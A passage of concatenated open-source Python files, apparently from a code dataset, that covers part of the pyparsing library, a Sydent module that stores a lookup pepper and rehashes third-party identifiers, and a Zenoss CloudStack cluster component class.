Note: take care when assigning to Forward not to overlook precedence of operators.
Specifically, '|' has a lower precedence than '<<', so that::
fwdExpr << a | b | c
will actually be evaluated as::
(fwdExpr << a) | b | c
thereby leaving b and c out as parseable alternatives. It is recommended that you
explicitly group the values inserted into the Forward::
fwdExpr << (a | b | c)
"""
def __init__( self, other=None ):
super(Forward,self).__init__( other, savelist=False )
def __lshift__( self, other ):
if isinstance( other, basestring ):
other = Literal(other)
self.expr = other
self.mayReturnEmpty = other.mayReturnEmpty
self.strRepr = None
self.mayIndexError = self.expr.mayIndexError
self.mayReturnEmpty = self.expr.mayReturnEmpty
self.setWhitespaceChars( self.expr.whiteChars )
self.skipWhitespace = self.expr.skipWhitespace
self.saveAsList = self.expr.saveAsList
self.ignoreExprs.extend(self.expr.ignoreExprs)
return None
def leaveWhitespace( self ):
self.skipWhitespace = False
return self
def streamline( self ):
if not self.streamlined:
self.streamlined = True
if self.expr is not None:
self.expr.streamline()
return self
def validate( self, validateTrace=[] ):
if self not in validateTrace:
tmp = validateTrace[:]+[self]
if self.expr is not None:
self.expr.validate(tmp)
self.checkRecursion([])
def __str__( self ):
if hasattr(self,"name"):
return self.name
self.__class__ = _ForwardNoRecurse
try:
if self.expr is not None:
retString = _ustr(self.expr)
else:
retString = "None"
finally:
self.__class__ = Forward
return "Forward: "+retString
def copy(self):
if self.expr is not None:
return super(Forward,self).copy()
else:
ret = Forward()
ret << self
return ret
class _ForwardNoRecurse(Forward):
def __str__( self ):
return "..."
class TokenConverter(ParseElementEnhance):
"""Abstract subclass of ParseExpression, for converting parsed results."""
def __init__( self, expr, savelist=False ):
super(TokenConverter,self).__init__( expr )#, savelist )
self.saveAsList = False
class Upcase(TokenConverter):
"""Converter to upper case all matching tokens."""
def __init__(self, *args):
super(Upcase,self).__init__(*args)
warnings.warn("Upcase class is deprecated, use upcaseTokens parse action instead",
DeprecationWarning,stacklevel=2)
def postParse( self, instring, loc, tokenlist ):
return list(map( string.upper, tokenlist ))
class Combine(TokenConverter):
"""Converter to concatenate all matching tokens to a single string.
By default, the matching patterns must also be contiguous in the input string;
this can be disabled by specifying 'adjacent=False' in the constructor.
"""
def __init__( self, expr, joinString="", adjacent=True ):
super(Combine,self).__init__( expr )
# suppress whitespace-stripping in contained parse expressions, but re-enable it on the Combine itself
if adjacent:
self.leaveWhitespace()
self.adjacent = adjacent
self.skipWhitespace = True
self.joinString = joinString
def ignore( self, other ):
if self.adjacent:
ParserElement.ignore(self, other)
else:
super( Combine, self).ignore( other )
return self
def postParse( self, instring, loc, tokenlist ):
retToks = tokenlist.copy()
del retToks[:]
retToks += ParseResults([ "".join(tokenlist._asStringList(self.joinString)) ], modal=self.modalResults)
if self.resultsName and len(retToks.keys())>0:
return [ retToks ]
else:
return retToks
class Group(TokenConverter):
"""Converter to return the matched tokens as a list - useful for returning tokens of ZeroOrMore and OneOrMore expressions."""
def __init__( self, expr ):
super(Group,self).__init__( expr )
self.saveAsList = True
def postParse( self, instring, loc, tokenlist ):
return [ tokenlist ]
class Dict(TokenConverter):
"""Converter to return a repetitive expression as a list, but also as a dictionary.
Each element can also be referenced using the first token in the expression as its key.
Useful for tabular report scraping when the first column can be used as a item key.
"""
def __init__( self, exprs ):
super(Dict,self).__init__( exprs )
self.saveAsList = True
def postParse( self, instring, loc, tokenlist ):
for i,tok in enumerate(tokenlist):
if len(tok) == 0:
continue
ikey = tok[0]
if isinstance(ikey,int):
ikey = _ustr(tok[0]).strip()
if len(tok)==1:
tokenlist[ikey] = _ParseResultsWithOffset("",i)
elif len(tok)==2 and not isinstance(tok[1],ParseResults):
tokenlist[ikey] = _ParseResultsWithOffset(tok[1],i)
else:
dictvalue = tok.copy() #ParseResults(i)
del dictvalue[0]
if len(dictvalue)!= 1 or (isinstance(dictvalue,ParseResults) and dictvalue.keys()):
tokenlist[ikey] = _ParseResultsWithOffset(dictvalue,i)
else:
tokenlist[ikey] = _ParseResultsWithOffset(dictvalue[0],i)
if self.resultsName:
return [ tokenlist ]
else:
return tokenlist
class Suppress(TokenConverter):
"""Converter for ignoring the results of a parsed expression."""
def postParse( self, instring, loc, tokenlist ):
return []
def suppress( self ):
return self
class OnlyOnce(object):
"""Wrapper for parse actions, to ensure they are only called once."""
def __init__(self, methodCall):
self.callable = ParserElement._normalizeParseActionArgs(methodCall)
self.called = False
def __call__(self,s,l,t):
if not self.called:
results = self.callable(s,l,t)
self.called = True
return results
raise ParseException(s,l,"")
def reset(self):
self.called = False
def traceParseAction(f):
"""Decorator for debugging parse actions."""
f = ParserElement._normalizeParseActionArgs(f)
def z(*paArgs):
thisFunc = f.func_name
s,l,t = paArgs[-3:]
if len(paArgs)>3:
thisFunc = paArgs[0].__class__.__name__ + '.' + thisFunc
sys.stderr.write( ">>entering %s(line: '%s', %d, %s)\n" % (thisFunc,line(l,s),l,t) )
try:
ret = f(*paArgs)
except Exception, exc:
sys.stderr.write( "<<leaving %s (exception: %s)\n" % (thisFunc,exc) )
raise
sys.stderr.write( "<<leaving %s (ret: %s)\n" % (thisFunc,ret) )
return ret
try:
z.__name__ = f.__name__
except AttributeError:
pass
return z
#
# global helpers
#
def delimitedList( expr, delim=",", combine=False ):
"""Helper to define a delimited list of expressions - the delimiter defaults to ','.
By default, the list elements and delimiters can have intervening whitespace, and
comments, but this can be overridden by passing 'combine=True' in the constructor.
If combine is set to True, the matching tokens are returned as a single token
string, with the delimiters included; otherwise, the matching tokens are returned
as a list of tokens, with the delimiters suppressed.
"""
dlName = _ustr(expr)+" ["+_ustr(delim)+" "+_ustr(expr)+"]..."
if combine:
return Combine( expr + ZeroOrMore( delim + expr ) ).setName(dlName)
else:
return ( expr + ZeroOrMore( Suppress( delim ) + expr ) ).setName(dlName)
def countedArray( expr ):
"""Helper to define a counted list of expressions.
This helper defines a pattern of the form::
integer expr expr expr...
where the leading integer tells how many expr expressions follow.
The matched tokens returns the array of expr tokens as a list - the leading count token is suppressed.
"""
arrayExpr = Forward()
def countFieldParseAction(s,l,t):
n = int(t[0])
arrayExpr << (n and Group(And([expr]*n)) or Group(empty))
return []
return ( Word(nums).setName("arrayLen").setParseAction(countFieldParseAction, callDuringTry=True) + arrayExpr )
def _flatten(L):
if type(L) is not list: return [L]
if L == []: return L
return _flatten(L[0]) + _flatten(L[1:])
def matchPreviousLiteral(expr):
"""Helper to define an expression that is indirectly defined from
the tokens matched in a previous expression, that is, it looks
for a 'repeat' of a previous expression. For example::
first = Word(nums)
second = matchPreviousLiteral(first)
matchExpr = first + ":" + second
will match "1:1", but not "1:2". Because this matches a
previous literal, will also match the leading "1:1" in "1:10".
If this is not desired, use matchPreviousExpr.
Do *not* use with packrat parsing enabled.
"""
rep = Forward()
def copyTokenToRepeater(s,l,t):
if t:
if len(t) == 1:
rep << t[0]
else:
# flatten t tokens
tflat = _flatten(t.asList())
rep << And( [ Literal(tt) for tt in tflat ] )
else:
rep << Empty()
expr.addParseAction(copyTokenToRepeater, callDuringTry=True)
return rep
def matchPreviousExpr(expr):
"""Helper to define an expression that is indirectly defined from
the tokens matched in a previous expression, that is, it looks
for a 'repeat' of a previous expression. For example::
first = Word(nums)
second = matchPreviousExpr(first)
matchExpr = first + ":" + second
will match "1:1", but not "1:2". Because this matches by
expressions, will *not* match the leading "1:1" in "1:10";
the expressions are evaluated first, and then compared, so
"1" is compared with "10".
Do *not* use with packrat parsing enabled.
"""
rep = Forward()
e2 = expr.copy()
rep << e2
def copyTokenToRepeater(s,l,t):
matchTokens = _flatten(t.asList())
def mustMatchTheseTokens(s,l,t):
theseTokens = _flatten(t.asList())
if theseTokens != matchTokens:
raise ParseException("",0,"")
rep.setParseAction( mustMatchTheseTokens, callDuringTry=True )
expr.addParseAction(copyTokenToRepeater, callDuringTry=True)
return rep
def _escapeRegexRangeChars(s):
#~ escape these chars: ^-]
for c in r"\^-]":
s = s.replace(c,"\\"+c)
s = s.replace("\n",r"\n")
s = s.replace("\t",r"\t")
return _ustr(s)
def oneOf( strs, caseless=False, useRegex=True ):
"""Helper to quickly define a set of alternative Literals, and makes sure to do
longest-first testing when there is a conflict, regardless of the input order,
but returns a MatchFirst for best performance.
Parameters:
- strs - a string of space-delimited literals, or a list of string literals
- caseless - (default=False) - treat all literals as caseless
- useRegex - (default=True) - as an optimization, will generate a Regex
object; otherwise, will generate a MatchFirst object (if caseless=True, or
if creating a Regex raises an exception)
"""
if caseless:
isequal = ( lambda a,b: a.upper() == b.upper() )
masks = ( lambda a,b: b.upper().startswith(a.upper()) )
parseElementClass = CaselessLiteral
else:
isequal = ( lambda a,b: a == b )
masks = ( lambda a,b: b.startswith(a) )
parseElementClass = Literal
if isinstance(strs,(list,tuple)):
symbols = strs[:]
elif isinstance(strs,basestring):
symbols = strs.split()
else:
warnings.warn("Invalid argument to oneOf, expected string or list",
SyntaxWarning, stacklevel=2)
i = 0
while i < len(symbols)-1:
cur = symbols[i]
for j,other in enumerate(symbols[i+1:]):
if ( isequal(other, cur) ):
del symbols[i+j+1]
break
elif ( masks(cur, other) ):
del symbols[i+j+1]
symbols.insert(i,other)
cur = other
break
else:
i += 1
if not caseless and useRegex:
#~ print (strs,"->", "|".join( [ _escapeRegexChars(sym) for sym in symbols] ))
try:
if len(symbols)==len("".join(symbols)):
return Regex( "[%s]" % "".join( [ _escapeRegexRangeChars(sym) for sym in symbols] ) )
else:
return Regex( "|".join( [ re.escape(sym) for sym in symbols] ) )
except:
warnings.warn("Exception creating Regex for oneOf, building MatchFirst",
SyntaxWarning, stacklevel=2)
# last resort, just use MatchFirst
return MatchFirst( [ parseElementClass(sym) for sym in symbols ] )
def dictOf( key, value ):
"""Helper to easily and clearly define a dictionary by specifying the respective patterns
for the key and value. Takes care of defining the Dict, ZeroOrMore, and Group tokens
in the proper order. The key pattern can include delimiting markers or punctuation,
as long as they are suppressed, thereby leaving the significant key text. The value
pattern can include named results, so that the Dict results can include named token
fields.
"""
return Dict( ZeroOrMore( Group ( key + value ) ) )
# convenience constants for positional expressions
empty = Empty().setName("empty")
lineStart = LineStart().setName("lineStart")
lineEnd = LineEnd().setName("lineEnd")
stringStart = StringStart().setName("stringStart")
stringEnd = StringEnd().setName("stringEnd")
_escapedPunc = Word( _bslash, r"\[]-*.$+^?()~ ", exact=2 ).setParseAction(lambda s,l,t:t[0][1])
_printables_less_backslash = "".join([ c for c in printables if c not in r"\]" ])
_escapedHexChar = Combine( Suppress(_bslash + "0x") + Word(hexnums) ).setParseAction(lambda s,l,t:unichr(int(t[0],16)))
_escapedOctChar = Combine( Suppress(_bslash) + Word("0","01234567") ).setParseAction(lambda s,l,t:unichr(int(t[0],8)))
_singleChar = _escapedPunc | _escapedHexChar | _escapedOctChar | Word(_printables_less_backslash,exact=1)
_charRange = Group(_singleChar + Suppress("-") + _singleChar)
_reBracketExpr = Literal("[") + Optional("^").setResultsName("negate") + Group( OneOrMore( _charRange | _singleChar ) ).setResultsName("body") + "]"
_expanded = lambda p: (isinstance(p,ParseResults) and ''.join([ unichr(c) for c in range(ord(p[0]),ord(p[1])+1) ]) or p)
def srange(s):
r"""Helper to easily define string ranges for use in Word construction. Borrows
syntax from regexp '[]' string range definitions::
srange("[0-9]") -> "0123456789"
srange("[a-z]") -> "abcdefghijklmnopqrstuvwxyz"
srange("[a-z$_]") -> "abcdefghijklmnopqrstuvwxyz$_"
The input string must be enclosed in []'s, and the returned string is the expanded
character set joined into a single string.
The values enclosed in the []'s may be::
a single character
an escaped character with a leading backslash (such as \- or \])
an escaped hex character with a leading '\0x' (\0x21, which is a '!' character)
an escaped octal character with a leading '\0' (\041, which is a '!' character)
a range of any of the above, separated by a dash ('a-z', etc.)
any combination of the above ('aeiouy', 'a-zA-Z0-9_$', etc.)
"""
try:
return "".join([_expanded(part) for part in _reBracketExpr.parseString(s).body])
except:
return ""
def matchOnlyAtCol(n):
"""Helper method for defining parse actions that require matching at a specific
column in the input text.
"""
def verifyCol(strg,locn,toks):
if col(locn,strg) != n:
raise ParseException(strg,locn,"matched token not at column %d" % n)
return verifyCol
def replaceWith(replStr):
"""Helper method for common parse actions that simply return a literal value. Especially
useful when used with transformString().
"""
def _replFunc(*args):
return [replStr]
return _replFunc
def removeQuotes(s,l,t):
"""Helper parse action for removing quotation marks from parsed quoted strings.
To use, add this parse action to quoted string using::
quotedString.setParseAction( removeQuotes )
"""
return t[0][1:-1]
def upcaseTokens(s,l,t):
"""Helper parse action to convert tokens to upper case."""
return [ tt.upper() for tt in map(_ustr,t) ]
def downcaseTokens(s,l,t):
"""Helper parse action to convert tokens to lower case."""
return [ tt.lower() for tt in map(_ustr,t) ]
def keepOriginalText(s,startLoc,t):
"""Helper parse action to preserve original parsed text,
overriding any nested parse actions."""
try:
endloc = getTokensEndLoc()
except ParseException:
raise ParseFatalException("incorrect usage of keepOriginalText - may only be called as a parse action")
del t[:]
t += ParseResults(s[startLoc:endloc])
return t
def getTokensEndLoc():
"""Method to be called from within a parse action to determine the end
location of the parsed tokens."""
import inspect
fstack = inspect.stack()
try:
# search up the stack (through intervening argument normalizers) for correct calling routine
for f in fstack[2:]:
if f[3] == "_parseNoCache":
endloc = f[0].f_locals["loc"]
return endloc
else:
raise ParseFatalException("incorrect usage of getTokensEndLoc - may only be called from within a parse action")
finally:
del fstack
def _makeTags(tagStr, xml):
"""Internal helper to construct opening and closing tag expressions, given a tag name"""
if isinstance(tagStr,basestring):
resname = tagStr
tagStr = Keyword(tagStr, caseless=not xml)
else:
resname = tagStr.name
tagAttrName = Word(alphas,alphanums+"_-:")
if (xml):
tagAttrValue = dblQuotedString.copy().setParseAction( removeQuotes )
openTag = Suppress("<") + tagStr + \
Dict(ZeroOrMore(Group( tagAttrName + Suppress("=") + tagAttrValue ))) + \
Optional("/",default=[False]).setResultsName("empty").setParseAction(lambda s,l,t:t[0]=='/') + Suppress(">")
else:
printablesLessRAbrack = "".join( [ c for c in printables if c not in ">" ] )
tagAttrValue = quotedString.copy().setParseAction( removeQuotes ) | Word(printablesLessRAbrack)
openTag = Suppress("<") + tagStr + \
Dict(ZeroOrMore(Group( tagAttrName.setParseAction(downcaseTokens) + \
Optional( Suppress("=") + tagAttrValue ) ))) + \
Optional("/",default=[False]).setResultsName("empty").setParseAction(lambda s,l,t:t[0]=='/') + Suppress(">")
closeTag = Combine(_L("</") + tagStr + ">")
openTag = openTag.setResultsName("start"+"".join(resname.replace(":"," ").title().split())).setName("<%s>" % tagStr)
closeTag = closeTag.setResultsName("end"+"".join(resname.replace(":"," ").title().split())).setName("</%s>" % tagStr)
return openTag, closeTag
def makeHTMLTags(tagStr):
"""Helper to construct opening and closing tag expressions for HTML, given a tag name"""
return _makeTags( tagStr, False )
def makeXMLTags(tagStr):
"""Helper to construct opening and closing tag expressions for XML, given a tag name"""
return _makeTags( tagStr, True )
def withAttribute(*args,**attrDict):
"""Helper to create a validating parse action to be used with start tags created
with makeXMLTags or makeHTMLTags. Use withAttribute to qualify a starting tag
with a required attribute value, to avoid false matches on common tags such as
<TD> or <DIV>.
Call withAttribute with a series of attribute names and values. Specify the list
of filter attributes names and values as:
- keyword arguments, as in (class="Customer",align="right"), or
- a list of name-value tuples, as in ( ("ns1:class", "Customer"), ("ns2:align","right") )
For attribute names with a namespace prefix, you must use the second form. Attribute
names are matched insensitive to upper/lower case.
To verify that the attribute exists, but without specifying a value, pass
withAttribute.ANY_VALUE as the value.
"""
if args:
attrs = args[:]
else:
attrs = attrDict.items()
attrs = [(k,v) for k,v in attrs]
def pa(s,l,tokens):
for attrName,attrValue in attrs:
if attrName not in tokens:
raise ParseException(s,l,"no matching attribute " + attrName)
if attrValue != withAttribute.ANY_VALUE and tokens[attrName] != attrValue:
raise ParseException(s,l,"attribute '%s' has value '%s', must be '%s'" %
(attrName, tokens[attrName], attrValue))
return pa
withAttribute.ANY_VALUE = object()
opAssoc = _Constants()
opAssoc.LEFT = object()
opAssoc.RIGHT = object()
def operatorPrecedence( baseExpr, opList ):
"""Helper method for constructing grammars of expressions made up of
operators working in a precedence hierarchy. Operators may be unary or
binary, left- or right-associative. Parse actions can also be attached
to operator expressions.
Parameters:
- baseExpr - expression representing the most basic element for the nested
- opList - list of tuples, one for each operator precedence level in the
expression grammar; each tuple is of the form
(opExpr, numTerms, rightLeftAssoc, parseAction), where:
- opExpr is the pyparsing expression for the operator;
may also be a string, which will be converted to a Literal;
if numTerms is 3, opExpr is a tuple of two expressions, for the
two operators separating the 3 terms
- numTerms is the number of terms for this operator (must
be 1, 2, or 3)
- rightLeftAssoc is the indicator whether the operator is
right or left associative, using the pyparsing-defined
constants opAssoc.RIGHT and opAssoc.LEFT.
- parseAction is the parse action to be associated with
expressions matching this operator expression (the
parse action tuple member may be omitted)
"""
ret = Forward()
lastExpr = baseExpr | ( Suppress('(') + ret + Suppress(')') )
for i,operDef in enumerate(opList):
opExpr,arity,rightLeftAssoc,pa = (operDef + (None,))[:4]
if arity == 3:
if opExpr is None or len(opExpr) != 2:
raise ValueError("if numterms=3, opExpr must be a tuple or list of two expressions")
opExpr1, opExpr2 = opExpr
thisExpr = Forward()#.setName("expr%d" % i)
if rightLeftAssoc == opAssoc.LEFT:
if arity == 1:
matchExpr = FollowedBy(lastExpr + opExpr) + Group( lastExpr + OneOrMore( opExpr ) )
elif arity == 2:
if opExpr is not None:
matchExpr = FollowedBy(lastExpr + opExpr + lastExpr) + Group( lastExpr + OneOrMore( opExpr + lastExpr ) )
else:
matchExpr = FollowedBy(lastExpr+lastExpr) + Group( lastExpr + OneOrMore(lastExpr) )
elif arity == 3:
matchExpr = FollowedBy(lastExpr + opExpr1 + lastExpr + opExpr2 + lastExpr) + \
Group( lastExpr + opExpr1 + lastExpr + opExpr2 + lastExpr )
else:
raise ValueError("operator must be unary (1), binary (2), or ternary (3)")
elif rightLeftAssoc == opAssoc.RIGHT:
if arity == 1:
# try to avoid LR with this extra test
if not isinstance(opExpr, Optional):
opExpr = Optional(opExpr)
matchExpr = FollowedBy(opExpr.expr + thisExpr) + Group( opExpr + thisExpr )
elif arity == 2:
if opExpr is not None:
matchExpr = FollowedBy(lastExpr + opExpr + thisExpr) + Group( lastExpr + OneOrMore( opExpr + thisExpr ) )
else:
matchExpr = FollowedBy(lastExpr + thisExpr) + Group( lastExpr + OneOrMore( thisExpr ) )
elif arity == 3:
matchExpr = FollowedBy(lastExpr + opExpr1 + thisExpr + opExpr2 + thisExpr) + \
Group( lastExpr + opExpr1 + thisExpr + opExpr2 + thisExpr )
else:
raise ValueError("operator must be unary (1), binary (2), or ternary (3)")
else:
raise ValueError("operator must indicate right or left associativity")
if pa:
matchExpr.setParseAction( pa )
thisExpr << ( matchExpr | lastExpr )
lastExpr = thisExpr
ret << lastExpr
return ret
dblQuotedString = Regex(r'"(?:[^"\n\r\\]|(?:"")|(?:\\x[0-9a-fA-F]+)|(?:\\.))*"').setName("string enclosed in double quotes")
sglQuotedString = Regex(r"'(?:[^'\n\r\\]|(?:'')|(?:\\x[0-9a-fA-F]+)|(?:\\.))*'").setName("string enclosed in single quotes")
quotedString = Regex(r'''(?:"(?:[^"\n\r\\]|(?:"")|(?:\\x[0-9a-fA-F]+)|(?:\\.))*")|(?:'(?:[^'\n\r\\]|(?:'')|(?:\\x[0-9a-fA-F]+)|(?:\\.))*')''').setName("quotedString using single or double quotes")
unicodeString = Combine(_L('u') + quotedString.copy())
def nestedExpr(opener="(", closer=")", content=None, ignoreExpr=quotedString):
"""Helper method for defining nested lists enclosed in opening and closing
delimiters ("(" and ")" are the default).
Parameters:
- opener - opening character for a nested list (default="("); can also be a pyparsing expression
- closer - closing character for a nested list (default=")"); can also be a pyparsing expression
- content - expression for items within the nested lists (default=None)
- ignoreExpr - expression for ignoring opening and closing delimiters (default=quotedString)
If an expression is not provided for the content argument, the nested
expression will capture all whitespace-delimited content between delimiters
as a list of separate values.
Use the ignoreExpr argument to define expressions that may contain
opening or closing characters that should not be treated as opening
or closing characters for nesting, such as quotedString or a comment
expression. Specify multiple expressions using an Or or MatchFirst.
The default is quotedString, but if no expressions are to be ignored,
then pass None for this argument.
"""
if opener == closer:
raise ValueError("opening and closing strings cannot be the same")
if content is None:
if isinstance(opener,basestring) and isinstance(closer,basestring):
if ignoreExpr is not None:
content = (Combine(OneOrMore(~ignoreExpr +
CharsNotIn(opener+closer+ParserElement.DEFAULT_WHITE_CHARS,exact=1))
).setParseAction(lambda t:t[0].strip()))
else:
content = (empty+CharsNotIn(opener+closer+ParserElement.DEFAULT_WHITE_CHARS).setParseAction(lambda t:t[0].strip()))
else:
raise ValueError("opening and closing arguments must be strings if no content expression is given")
ret = Forward()
if ignoreExpr is not None:
ret << Group( Suppress(opener) + ZeroOrMore( ignoreExpr | ret | content ) + Suppress(closer) )
else:
ret << Group( Suppress(opener) + ZeroOrMore( ret | content ) + Suppress(closer) )
return ret
def indentedBlock(blockStatementExpr, indentStack, indent=True):
"""Helper method for defining space-delimited indentation blocks, such as
those used to define block statements in Python source code.
Parameters:
- blockStatementExpr - expression defining syntax of statement that
is repeated within the indented block
- indentStack - list created by caller to manage indentation stack
(multiple statementWithIndentedBlock expressions within a single grammar
should share a common indentStack)
- indent - boolean indicating whether block must be indented beyond the
the current level; set to False for block of left-most statements
(default=True)
A valid block must contain at least one blockStatement.
"""
def checkPeerIndent(s,l,t):
if l >= len(s): return
curCol = col(l,s)
if curCol != indentStack[-1]:
if curCol > indentStack[-1]:
raise ParseFatalException(s,l,"illegal nesting")
raise ParseException(s,l,"not a peer entry")
def checkSubIndent(s,l,t):
curCol = col(l,s)
if curCol > indentStack[-1]:
indentStack.append( curCol )
else:
raise ParseException(s,l,"not a subentry")
def checkUnindent(s,l,t):
if l >= len(s): return
curCol = col(l,s)
if not(indentStack and curCol < indentStack[-1] and curCol <= indentStack[-2]):
raise ParseException(s,l,"not an unindent")
indentStack.pop()
NL = OneOrMore(LineEnd().setWhitespaceChars("\t ").suppress())
INDENT = Empty() + Empty().setParseAction(checkSubIndent)
PEER = Empty().setParseAction(checkPeerIndent)
UNDENT = Empty().setParseAction(checkUnindent)
if indent:
smExpr = Group( Optional(NL) +
FollowedBy(blockStatementExpr) +
INDENT + (OneOrMore( PEER + Group(blockStatementExpr) + Optional(NL) )) + UNDENT)
else:
smExpr = Group( Optional(NL) +
(OneOrMore( PEER + Group(blockStatementExpr) + Optional(NL) )) )
blockStatementExpr.ignore("\\" + LineEnd())
return smExpr
alphas8bit = srange(r"[\0xc0-\0xd6\0xd8-\0xf6\0xf8-\0xff]")
punc8bit = srange(r"[\0xa1-\0xbf\0xd7\0xf7]")
anyOpenTag,anyCloseTag = makeHTMLTags(Word(alphas,alphanums+"_:"))
commonHTMLEntity = Combine(_L("&") + oneOf("gt lt amp nbsp quot").setResultsName("entity") +";")
_htmlEntityMap = dict(zip("gt lt amp nbsp quot".split(),"><& '"))
replaceHTMLEntity = lambda t : t.entity in _htmlEntityMap and _htmlEntityMap[t.entity] or None
# it's easy to get these comment structures wrong - they're very common, so may as well make them available
cStyleComment = Regex(r"/\*(?:[^*]*\*+)+?/").setName("C style comment")
htmlComment = Regex(r"<!--[\s\S]*?-->")
restOfLine = Regex(r".*").leaveWhitespace()
dblSlashComment = Regex(r"\/\/(\\\n|.)*").setName("// comment")
cppStyleComment = Regex(r"/(?:\*(?:[^*]*\*+)+?/|/[^\n]*(?:\n[^\n]*)*?(?:(?<!\\)|\Z))").setName("C++ style comment")
javaStyleComment = cppStyleComment
pythonStyleComment = Regex(r"#.*").setName("Python style comment")
_noncomma = "".join( [ c for c in printables if c != "," ] )
_commasepitem = Combine(OneOrMore(Word(_noncomma) +
Optional( Word(" \t") +
~Literal(",") + ~LineEnd() ) ) ).streamline().setName("commaItem")
commaSeparatedList = delimitedList( Optional( quotedString | _commasepitem, default="") ).setName("commaSeparatedList")
if __name__ == "__main__":
def test( teststring ):
try:
tokens = simpleSQL.parseString( teststring )
tokenlist = tokens.asList()
print (teststring + "->" + str(tokenlist))
print ("tokens = " + str(tokens))
print ("tokens.columns = " + str(tokens.columns))
print ("tokens.tables = " + str(tokens.tables))
print (tokens.asXML("SQL",True))
except ParseBaseException,err:
print (teststring + "->")
print (err.line)
print (" "*(err.column-1) + "^")
print (err)
print()
selectToken = CaselessLiteral( "select" )
fromToken = CaselessLiteral( "from" )
ident = Word( alphas, alphanums + "_$" )
columnName = delimitedList( ident, ".", combine=True ).setParseAction( upcaseTokens )
columnNameList = Group( delimitedList( columnName ) )#.setName("columns")
tableName = delimitedList( ident, ".", combine=True ).setParseAction( upcaseTokens )
tableNameList = Group( delimitedList( tableName ) )#.setName("tables")
simpleSQL = ( selectToken + \
( '*' | columnNameList ).setResultsName( "columns" ) + \
fromToken + \
tableNameList.setResultsName( "tables" ) )
test( "SELECT * from XYZZY, ABC" )
test( "select * from SYS.XYZZY" )
test( "Select A from Sys.dual" )
test( "Select AA,BB,CC from Sys.dual" )
test( "Select A, B, C from Sys.dual" )
test( "Select A, B, C from Sys.dual" )
test( "Xelect A, B, C from Sys.dual" )
test( "Select A, B, C frox Sys.dual" )
test( "Select" )
test( "Select ^^^ frox Sys.dual" )
test( "Select A, B, C from Sys.dual, Table2 " )
|
agpl-3.0
|
matrix-org/sydent
|
sydent/db/hashing_metadata.py
|
1
|
5081
|
# Copyright 2019 The Matrix.org Foundation C.I.C.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Actions on the hashing_metadata table which is defined in the migration process in
# sqlitedb.py
from sqlite3 import Cursor
from typing import TYPE_CHECKING, Callable, Optional
if TYPE_CHECKING:
from sydent.sydent import Sydent
class HashingMetadataStore:
def __init__(self, sydent: "Sydent") -> None:
self.sydent = sydent
def get_lookup_pepper(self) -> Optional[str]:
"""Return the value of the current lookup pepper from the db
:return: A pepper if it exists in the database, or None if one does
not exist
"""
cur = self.sydent.db.cursor()
res = cur.execute("select lookup_pepper from hashing_metadata")
row = res.fetchone()
if not row:
return None
pepper = row[0]
# Ensure we're dealing with unicode.
if isinstance(pepper, bytes):
pepper = pepper.decode("UTF-8")
return pepper
def store_lookup_pepper(
self, hashing_function: Callable[[str], str], pepper: str
) -> None:
"""Stores a new lookup pepper in the hashing_metadata db table and rehashes all 3PIDs
:param hashing_function: A function with single input and output strings
:param pepper: The pepper to store in the database
"""
cur = self.sydent.db.cursor()
# Create or update lookup_pepper
sql = (
"INSERT OR REPLACE INTO hashing_metadata (id, lookup_pepper) "
"VALUES (0, ?)"
)
cur.execute(sql, (pepper,))
# Hand the cursor to each rehashing function
# Each function will queue some rehashing db transactions
self._rehash_threepids(
cur, hashing_function, pepper, "local_threepid_associations"
)
self._rehash_threepids(
cur, hashing_function, pepper, "global_threepid_associations"
)
# Commit the queued db transactions so that adding a new pepper and hashing is atomic
self.sydent.db.commit()
def _rehash_threepids(
self,
cur: Cursor,
hashing_function: Callable[[str], str],
pepper: str,
table: str,
) -> None:
"""Rehash 3PIDs of a given table using a given hashing_function and pepper
A database cursor `cur` must be passed to this function. After this function completes,
the calling function should make sure to call self`self.sydent.db.commit()` to commit
the made changes to the database.
:param cur: Database cursor
:type cur:
:param hashing_function: A function with single input and output strings
:type hashing_function func(str) -> str
:param pepper: A pepper to append to the end of the 3PID (after a space) before hashing
:type pepper: str
:param table: The database table to perform the rehashing on
:type table: str
"""
# Get count of all 3PID records
# Medium/address combos are marked as UNIQUE in the database
sql = "SELECT COUNT(*) FROM %s" % table
res = cur.execute(sql)
row_count = res.fetchone()
row_count = row_count[0]
# Iterate through each medium, address combo, hash it,
# and store in the db
batch_size = 500
count = 0
while count < row_count:
sql = "SELECT medium, address FROM %s ORDER BY id LIMIT %s OFFSET %s" % (
table,
batch_size,
count,
)
res = cur.execute(sql)
rows = res.fetchall()
for medium, address in rows:
# Skip broken db entry
if not medium or not address:
continue
# Combine the medium, address and pepper together in the
# following form: "address medium pepper"
# According to MSC2134: https://github.com/matrix-org/matrix-doc/pull/2134
combo = "%s %s %s" % (address, medium, pepper)
# Hash the resulting string
result = hashing_function(combo)
# Save the result to the DB
sql = (
"UPDATE %s SET lookup_hash = ? "
"WHERE medium = ? AND address = ?" % table
)
# Lines up the query to be executed on commit
cur.execute(sql, (result, medium, address))
count += len(rows)
|
apache-2.0
|
zenoss/ZenPacks.zenoss.CloudStack
|
ZenPacks/zenoss/CloudStack/Cluster.py
|
1
|
1449
|
###########################################################################
#
# This program is part of Zenoss Core, an open source monitoring platform.
# Copyright (C) 2011, Zenoss Inc.
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License version 2 or (at your
# option) any later version as published by the Free Software Foundation.
#
# For complete information please visit: http://www.zenoss.com/oss/
#
###########################################################################
from Products.ZenRelations.RelSchema import ToManyCont, ToOne
from ZenPacks.zenoss.CloudStack import BaseComponent
class Cluster(BaseComponent):
meta_type = portal_type = "CloudStackCluster"
cluster_type = None
hypervisor_type = None
managed_state = None
_properties = BaseComponent._properties + (
{'id': 'cluster_type', 'type': 'string', 'mode': ''},
{'id': 'hypervisor_type', 'type': 'string', 'mode': ''},
{'id': 'managed_state', 'type': 'string', 'mode': ''},
)
_relations = BaseComponent._relations + (
('pod', ToOne(ToManyCont,
'ZenPacks.zenoss.CloudStack.Pod.Pod',
'clusters')
),
('hosts', ToManyCont(ToOne,
'ZenPacks.zenoss.CloudStack.Host.Host',
'cluster')
),
)
def device(self):
return self.pod().device()
|
gpl-2.0
|
bazz-erp/erpnext
|
